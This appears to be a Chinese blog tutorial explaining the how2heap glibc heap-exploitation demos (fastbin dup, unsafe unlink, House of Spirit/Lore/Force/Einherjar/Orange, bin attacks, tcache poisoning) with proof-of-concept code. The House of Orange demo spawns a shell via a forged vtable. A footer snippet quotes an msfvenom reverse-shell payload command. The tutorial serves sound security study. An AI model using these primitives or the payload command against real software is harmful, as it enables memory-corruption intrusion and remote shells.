how2heap 系列记录

前言

对https://github.com/shellphish/how2heap上的例子进行讲解,记录调试过程,方便日后快速回忆利用技巧。

first_fit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;	
	strcpy(a, "this is A!");	
	free(a);
	c = malloc(500);
	strcpy(c, "this is C!");
}

该例子验证了glibc使用first-fit分配方式,能在free bin里面找到适合大小就先分配了,找不到再去重新开辟空间。上述代码a释放后又被c分配了,所以最开始的堆块最终保存的是”this is C!”

fastbin_dup.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	free(a);
	free(b);
	free(a);

	fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

该例子验证了fastbin 上的double free,glibc在fastbin上只检查了要进来堆块的大小以及是否和第一个堆块地址一样。

malloc a, b, c后:

double free后:

1st malloc(8) 和 3rd malloc(8)分配到的都是之前的chunk a.

fastbin_dup_into_stack.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
	unsigned long long stack_var;

	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	free(a);
	free(b);
	free(a);

	unsigned long long *d = malloc(8);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

	stack_var = 0x20;

	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

double free 后重新获取chunk a 和 chunk b,并修改chunk a的fd到栈地址上。stack_var变量保存在栈上,给它赋值0x20是为了绕过fastbin中大小检查。

double free后(malloc a, b后堆的情况没有改变,因为fastbin形成一个循环且malloc操作不会修改堆块的fd):

修改chunk a的fd为栈地址后:

fastbin_dup_consolidate.c

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  
  free(p1);
  void* p3 = malloc(0x400);
  
  free(p1);
  
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

分配large bin时发现堆块太小无法分配,会触发malloc_consolidate(),该函数会将太小无法分配的堆块移到small bin或unsorted bin中进行合并看是否合成一个符合大小的堆块,不能再去开辟一个新空间。这间接绕过了fastbin的堆块检查,达到double free 的效果。

p3 = malloc(0x400)后:

第二次free(p1)后:

最后两次malloc(0x40)会得到同一个堆块。

unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr; //位于bss区,攻击后可对bss区其他变量进行改写

int main()
{
	
	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    //绕过 P->fd->bk = P 判断
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    //绕过 P->bk->fd = P 判断

	uint64_t *chunk1_hdr = chunk1_ptr - header_size; 
    //获取chunk1 堆块的头部
	chunk1_hdr[0] = malloc_size;
    //伪造chunk1的pre_size,绕过 chunksize(P) == next_chunk(P)->prev_size 的判断
    chunk1_hdr[1] &= ~1;
    //修改previous_in_use位,让伪造的堆块处于free状态
	free(chunk1_ptr);
    //进行unlink 操作

	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;
	chunk0_ptr[0] = 0x4141414142424242LL;
	fprintf(stderr, "New Value: %s\n",victim_string);
}

在chunk0中伪造堆块,在chunk1中修改presize和size位,绕过判断:

调试信息如下:

unlink过程如下:

unlink(P, BK, FD){
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

unlink后chunk0_ptr填充的内容是FD,即伪造的chunk0的fd值0x602058,chunk0_ptr[3]即0x602070(chunk0_ptr变量在bss中的地址)

chunk0_ptr[3] = (uint64_t) victim_string 将chunk0_ptr修改成victim_string数组的地址(在栈上),最后修改栈上的数据(“Hello!~”)为0x4141414142424242. 也可以去修改bss上的其他变量,包括函数指针等。

house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
	malloc(1);//防止和top chunk 合并
	unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
	fake_chunks[1] = 0x40; 
    // 伪造堆块的size字段不能超过fastbin的最大值,且IS_MMAPPED和NON_MAIN_ARENA位要为0
	fake_chunks[9] = 0x1234; 
    //下一个堆块的大小,要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误
	a = &fake_chunks[2];
	free(a);

	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
• PREV_INUSE (bit 0) : 上一块 chunk 是否不是 freed
• IS_MMAPPED (bit 1) : 该 chunk 是不是由 mmap 所分配的
• NON_MAIN_ARENA (bit 2):是否不属于 main arena

通过在栈上(fake_chunk)上伪造一个堆块,并释放到fastbin,最后重新malloc出来,得到位于栈上的堆块,可以对栈上的数据进行改写。调试信息如下:

例子:l-ctf2016的pwn200和湖湘杯的note

poison_null_byte.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;
	void *barrier;

	a = (uint8_t*) malloc(0x30);
	int real_a_size = malloc_usable_size(a);
	b = (uint8_t*) malloc(0x160);

	c = (uint8_t*) malloc(0xf0);

	barrier =  malloc(0x100);
	*(size_t*)(b+0xf0) = 0x100;
      //绕过chunksize(P) != prev_size (next_chunk(P)) 检查

	free(b);
	
	a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"

	b1 = malloc(0x80);

	b2 = malloc(0x30);
    //memset(b2,'B',0x30);
	free(b1);
	free(c);
	
	d = malloc(0x260);
	
	memset(d,'D',0x260);//将b2中的内容覆盖
}

shrink the chunk demo 代码,在libc 2.19版本下能够利用成功,libc 2.23加入了对size的校验,引入的补丁:

https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

In newer versions of glibc we will need to have our updated size inside b itself to pass the check ‘chunksize(P) != prev_size (next_chunk(P))’

所以由于null覆盖,当前chunk为free状态,在大于2.19版本中需要在next chunk中伪造pre_size。

过程如下:

溢出一个字节后的调试信息:

free(c)后:

house_of_lore.c

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;
       [ ... ]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  intptr_t *victim = malloc(100);
  intptr_t *victim_chunk = victim-2;

  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk; // victim->bk->fd == vimctim_chunk
  //绕过 __glibc_unlikely (bck->fd != victim) 检查

  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;// 伪造的small_bin1的bk 指向 伪造的small_bin2
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;//small_bin2->bk-fd == small_bin1, 绕过检查
  
  void *p5 = malloc(1000); // 防止释放victim和top chunk 合并

  free((void*)victim);//放入unsorted bin中

  void *p2 = malloc(1200); //将victim 从unsorted bin 中取下放入small bin 中。

  //------------VULNERABILITY-----------

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
  //伪造victim的bk 为stack_buffer_1
  
  //------------------------------------
  void *p3 = malloc(0x90); //分配到victim,
  char *p4 = malloc(0x90); //分配到stack_buffer_1,分配到栈上的地址
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
  //绕过canary,用jackpot函数地址覆盖返回地址
}

House of Lore 利用的前提:

(1)需要控制 Small Bin Chunk 的 bk 指针

(2)控制指定位置 chunk (要分配的目标chunk)的 fd 指针

free((void*)victim),victim 会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下link到相应的 bin 中。如果比它小(相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk ,还是存在 unsorted bin 中。

伪造后的small bin链表如下:

victim ⇄ stack_buffer_1 ⇄ stack_buffer_2

分配完p3, p4,覆盖返回地址后:

overlapping_chunks.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){
	intptr_t *A,*B,*C,*D;

	A = malloc(0x40 - 8);
	B = malloc(0x170 - 8);
	C = malloc(0x40 - 8);
	free(B);

	int evil_chunk_size = 0x1b1;
	int evil_region_size = 0x1b0 - 8;

	*(B-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
    // 溢出一个字节,修改chunk B的size,将其扩展
	D = malloc(evil_region_size);
	memset(D, 'D', evil_region_size);
}

利用过程如下:

overlapping_chunks_2.c

/*
This technique is taken from
 https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){
  
  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  int prev_in_use = 0x1;

  p1 = malloc(1000);
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);


  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);
  

  free(p4);

  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 
  // 修改chunk p2的size,将p3包含进来

  free(p2); //将包含p3的堆块释放
  
  p6 = malloc(2000); // 重新获取到p3,此时就能对p3的内容进行修改
  real_size_p6 = malloc_usable_size(p6);

  memset(p6,'F',1500);  
}

和overlapping_chunks.c类似,overlapping_chunks.c溢出一个字节覆盖的是freed chunk的size,overlapping_chunks_2.c溢出一个字节覆盖的是use chunk的size,之后再释放该堆块,后面的步骤和overlapping_chunks.c一样。

溢出覆盖一个字节前调试信息:

溢出覆盖一个字节后调试信息:

house_of_force.c

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	
	intptr_t *p1 = malloc(256);
	int real_size = malloc_usable_size(p1);

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));

	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    //篡改top chunk的size成一个很大的数
    //绕过(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)
    //保证不会调用mmap来分配空间
	
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb //整数溢出
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */

	void *new_ptr = malloc(evil_size); //获得新的top chunk 地址

	void* ctr_chunk = malloc(100); //此时top chunk地址在bss上,再分配就得到bss的堆块
	strcpy(ctr_chunk, "YEAH!!!"); //覆盖bss_var的内容

限制条件:

(1)可以以溢出等方式控制到top chunk的size部分

(2)可以自由地控制堆分配尺寸的大小

溢出覆盖top chunk size后,分配计算出的偏移大小后的调试信息:

unsorted_bin_into_stack.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
  intptr_t stack_buffer[4] = {0};
  intptr_t* victim = malloc(0x100);
  intptr_t* p1 = malloc(0x100);

  free(victim);

  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  //------------VULNERABILITY-----------

  victim[-1] = 32; 
  // 绕过2*SIZE_SZ (> 16 on x64) && < av->system_mem 的判断
  victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
  //伪造victim 的bk指针,指向栈上的地址   

  //------------------------------------
  char *A = malloc(0x100); //分配得到栈上的chunk
}

unsorted bin伪造后的情况为:victim->stack->null,此时再申请一个0x100字节的堆,先到unsorted bin中寻找,找到victim 由于victim->size被修改为了0x20,不满足大小要求,遍历victim->bk所指向的堆,找到栈中伪造的chunk进行分配。

伪造后堆情况:

unsorted_bin_attack.c

#include <stdio.h>
#include <stdlib.h>

int main(){
	
	unsigned long stack_var=0;
	
	unsigned long *p=malloc(400);
	
	malloc(500);

	free(p);
	
	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2); //通过堆溢出对chunk p的bk进行改写,改写到任意位置

	//------------------------------------

	malloc(400);//next chunk的fd被改写,即stack_var内容被写入一个堆指针
}

unsorted bin 是一个双向链表,在分配时会通过unlink操作将chunk从链表中摘除,可以通过控制unsorted bin的bk指针,向任意位置写入一个指针。

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

堆溢出伪造victim的bk,调试信息如下:

malloc(400)后,bck->fd被改写,即此时stack_var内容为:0x00007ffff7dd1b78

可用于泄露libc基址。

large_bin_attack.c

/*
    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
    [...]
              else
              {
                  //将victim chunk设置为堆头
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
                  //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
              }
              bck = fwd->bk;//由于fwd->bk可控,因此bck可控
    [...]
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;//bck可控,因此实现了往任意地址写victim的能力
    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.
    [...]
 */

#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    unsigned long *p1 = malloc(0x320);
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    malloc(0x20);
 
    free(p1);
    free(p2);
    malloc(0x90); //将p2从unsorted bin中取下放入large bin中
    free(p3);
    
    //------------VULNERABILITY-----------

    p2[-1] = 0x3f1;//修改size,使得和p3的大小不同,才会在p3加入large bin时设置堆头
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);//伪造chunk 的 bk
    p2[3] = (unsigned long)(&stack_var2 - 4);//伪造chunk 的 bk_nextsize

    //------------------------------------

    malloc(0x90);//将p3 插入large bin中

    return 0;
}

在largebin插入的过程中,伪造largebin的bk_nextsize以及bk,实现任意地址写堆地址。

该攻击方式可实现两次往任意的地址写堆地址的能力,设任意地址为evil_addr,问题出现在当前的largebin插入为堆头的过程,在此过程中假设我们可控largebin中的bk_nextsize与bk。

(1)控制fwd->bk_nextsize指向evil_addr-0x20。执行完victim->bk_nextsize = fwd->bk_nextsize后,victim->bk_nextsize也为evil_addr-0x20,接着执行victim->bk_nextsize->fd_nextsize = victim即实现了往evil_addr-0x20->fd_nextsize写victim,即往evil_addr写victim地址。

关键两行代码如下:

victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
...
victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力

(2)控制fwd->bk指向evil_addr-0x10,执行完bck = fwd->bk后,bck为evil_addr-0x10,接着执行bck->fd = victim即往evil_addr-0x10->fd写victim,即往evil_addr写victim地址。

关键两行代码如下:

bck = fwd->bk; //由于fwd->bk可控,因此bck可控
...
bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力

参考链接:https://www.anquanke.com/post/id/183877

p3插入large bin之前的堆情况:

p3插入large bin之后的堆情况:

从图中可以看到victim的bk和bk_nextsize分别被改写成fwd的bk和bk_nextsize,之后对:

(1)victim->bk_nextsize->fd_nextsize = victim;

(2)bck->fd = victim;

的操作使得目标地址(stack_var1和stack_var2)被写入堆地址(victim)。

house_of_einherjar.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	
	uint8_t* a;
	uint8_t* b;
	uint8_t* d;
	
	a = (uint8_t*) malloc(0x38);
    int real_a_size = malloc_usable_size(a);
    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    // 绕过unlink检查
    // p->fd = p
    // p->bk = p 
    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
    
	b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    a[real_a_size] = 0; //溢出一个字节,覆盖chunk b的size中的PREV_INUSE位
    
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); //计算与目标地址的偏移
   
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;// 伪造chunk b的prev_size位

    fake_chunk[1] = fake_size;// 伪造fake_chunk的size位

    // 绕过 __builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)

    free(b);// 进行consolidate backward

    d = malloc(0x200);//分配到栈上的chunk
}

通过该技术可以强制malloc一个任意地址的chunk。其主要在于滥用 free 中的后向合并操作(合并低地址的chunk),从而使得尽可能避免碎片化。

此外,需要注意的是,在一些特殊大小的堆块中,off by one不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的PREV_INUSE比特位。

free 函数中的后向合并核心操作如下:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }
  1. 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
  2. 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
  3. 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

consolidate backward前,伪造的堆情况:

consolidate backward后堆的情况:

free后chunk b 和fake_chunk进行合并,成为新的top chunk,top chunk的地址在栈上,所以再分配时就会得到在栈上的chunk。

house_of_orange.c

0x00 demo代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    p1 = malloc(0x400-16);//申请一块内存

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;//修改top_chunk的size

    p2 = malloc(0x1000);//申请超过
       
    io_list_all = top[2] + 0x9a8;//获取io_list_all的值,相对偏移是固定的

    top[3] = io_list_all - 0x10;//部署unsorted bin攻击

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;
   
    top[24] = 1;

    top[21] = 2;
    top[22] = 3;

   
    top[20] = (size_t) &top[18];

    top[15] = (size_t) &winner;
    top[27] = (size_t ) &top[12];
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

0x01 修改top_chunk的size

top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;//修改top_chunk的size

但是不能随意修改,sysmalloc中对该值进行了验证:

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

所以要满足:

  • 大于MINSIZE(0X10)
  • 小于所需的大小 + MINSIZE
  • prev inuse位设置为1
  • old_top + oldsize的值是页对齐的

0x02 申请一块大内存,触发sysmalloc中的_int_free

p2 = malloc(0x1000);

如果要触发sysmalloc中_int_free,那么本次申请的堆大小也不能超过mp_.mmap_threshold,因为代码中也会根据请求值来做出不同的处理。

 if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
      && (mp_.n_mmaps < mp_.n_mmaps_max))) 

触发_int_free后,top_chunk就被释放到unsortbin中了

0x03 进行unsorted bin攻击

攻击之前的内存布局:

攻击过程

因为top_chunk卸下来后变成unsorted_bin,只能通过main_arena+88的地址来覆盖_IO_list_all(通过将_IO_list_all-0x10的地址放置在bk中——unsorted bin攻击)

所以此时_IO_FILE为main_arena+88的地址,由于main_arena不能完全被控制,该_IO_FILE对象的数据基本不能用,要靠chain字段来转移到下一个_IO_FILE

chain字段的偏移为0x68,所以要将(main_arena+88)+0x68=(main_arena+192)的位置覆盖成top的地址,这样就会把top当成下一个_IO_FILE,而top又是我们可控的地方,在top里伪造虚表,并覆盖伪造虚表里的overflow函数地址为system地址。 如何将main_arena+192的地址覆盖成top的地址? 将chunk的大小改成0x61

main_arena的结构:

可以推算出main_arena+192的位置为bin[10]的位置,但是chunk大小改为0x61为啥会分配在bin[10]呢?

   /* place chunk in bin */

          if (in_smallbin_range (size))//size为0x61
            {
              victim_index = smallbin_index (size);//victim_index为6
              bck = bin_at (av, victim_index);//bck=&av->bins[(6-1)*2]-0x10=&av->bins[10]-0x10
              fwd = bck->fd;//fwd=&av->bins[10]
            }

        ...
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。
bck->fd = victim;
#define smallbin_index(sz) \
  ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
   + SMALLBIN_CORRECTION)  //0x61 >> 4 = 6
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			      \
             - offsetof (struct malloc_chunk, fd))

0x04 申请内存,触发异常

从触发异常到执行攻击代码的路径如下:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

...

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//将_IO_OVERFLOW覆盖成system,fp的地址上填充"/bin/sh"
	result = EOF;

            ...
      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain; //单链表链接,通过这个,即使无法控制main_arena中的数据,但是通过chain链,将控制转移到我们到我们能控制的地方。
    }

    ...
  return result;
}

攻击后的内存布局:

为了执行_IO_OVERFLOW,需要满足之前的判断:

  • fp->_mode <= 0不成立,所以fp->_mode > 0
  • _IO_vtable_offset (fp) == 0
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

最后,我们将vtable的值改写成我们构造的vtable起始地址,虚表的结构如下:

伪造的情况如下:

之后调用_IO_OVERFLOW就会调用填充的system函数。

tcache_dup.c

tcache 全名 thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。libc-2.26 正式提供了该机制,并默认开启。

需要注意的是:

  1. 每个 bins 最多存放 7 个 chunk
  2. chunks 在 tcache bin 的顺序和在 fastbin 中的顺序是反过来的。
  3. tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。
#include <stdio.h>
#include <stdlib.h>

int main()
{
	int *a = malloc(8);

	free(a);
	free(a);

	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

	return 0;
}

在glibc 2.29版本以下未对tcache进行double free 检查,(glibc 2.29会对tcache bin中的堆块进行遍历,如果两个堆块的地址相同就认为发生了double free),double free a后堆情况如下:

malloc(8)两次后得到的地址相同。

tcache_poisoning.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
	size_t stack_var;
	
	intptr_t *a = malloc(128);
	free(a);

	a[0] = (intptr_t)&stack_var;
    fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
	intptr_t *b = malloc(128);

	return 0;
}

伪造tcache bin之前的堆情况:

伪造tcache bin之后的堆情况:

通过覆盖tcache bin中chunk的fd指针,将其指向目标地址,从而改变tcache_entry的next指针,在malloc时在目标地址得到 chunk。且tcache bin未对目标地址的size进行检查。

tcache_house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
	malloc(1);
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region

	fake_chunks[1] = 0x40; // this is the size 在栈上构造 fake chunk

	a = &fake_chunks[2];
	free(a);
}

在栈上伪造的chunk 如下,只需要伪造size的大小:

tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到smallbin,而且更为简单。

释放后,伪造的chunk就被放入tcache bin中:

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏开发笔记

[SpringBoot——Web开发(使用Thymeleaf模板引擎)]

https://github.com/HCJ-shadow/SpringBootPlus

7530
来自专栏TBOOX开源工程

使用xmake构建c++20 modules

c++ modules已经正式纳入了c++20草案,msvc和clang也已经基本实现了对modules-ts的支持,随着c++20的脚步离我们越来越近,xma...

13040
来自专栏开发笔记

SpringBoot——Web开发(静态资源映射)

SpringBoot对于SpringMVC的自动化配置都在WebMVCAutoConfiguration类中。

9540
来自专栏Java程序员那些事

Java NIO使用及原理分析(三)

在上一篇文章中介绍了缓冲区内部对于状态变化的跟踪机制,而对于NIO中缓冲区来说,还有很多的内容值的学习,如缓冲区的分片与数据共享,只读缓冲区等。在本文中我们来看...

11120
来自专栏微信公众号【Java技术江湖】

编程语言的选择重不重要吗?

记得刚出来工作那会,学的是C/C++,但是因为看到有经验文章介绍说:编程语言不重要。所以投递简历的也是随便投,不管什么岗位都投。表出现学习能力很强的样子,好像学...

11830
来自专栏Ms08067安全实验室

【翻译】创建线程shellcode注入

msfvenom -p windows/x64/shell_reverse_tcpLHOST=10.0.0.5LPORT=443-f c -b \x00\x0a...

12320
来自专栏高性能服务器开发

探索JAVA并发 - 线程池详解

线程池,即管理着若干线程的资源池(字面意思)。相比于为每个任务分配一个线程,在线程池中执行任务优势更多:

6920
来自专栏Create Sun

.net core 部署到windows服务上的方法

其中优劣对比在这不进行累述。我今天是把它搭建到windows服务上的,这种方式对于我们现有dotnet来说相对美观(一个黑框框,一个看不到),电脑重启可以自动重...

9650
来自专栏开发笔记

Java面向对象特性总结

如果是对于面向过程来说,这些你都得知道。“吾生也有涯,而知也无涯”,面向对象的封装与庄子的思想遥相呼应:用有限的时间去做更适合的事情。

10410
来自专栏足球是圆的

类生命周期

类从被加载到虚拟机内存中开始到卸载出内存为止,它的整个生命周期包括:加载(Loading)、验证(Verification)、准备(Preparation)、解...

9840

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励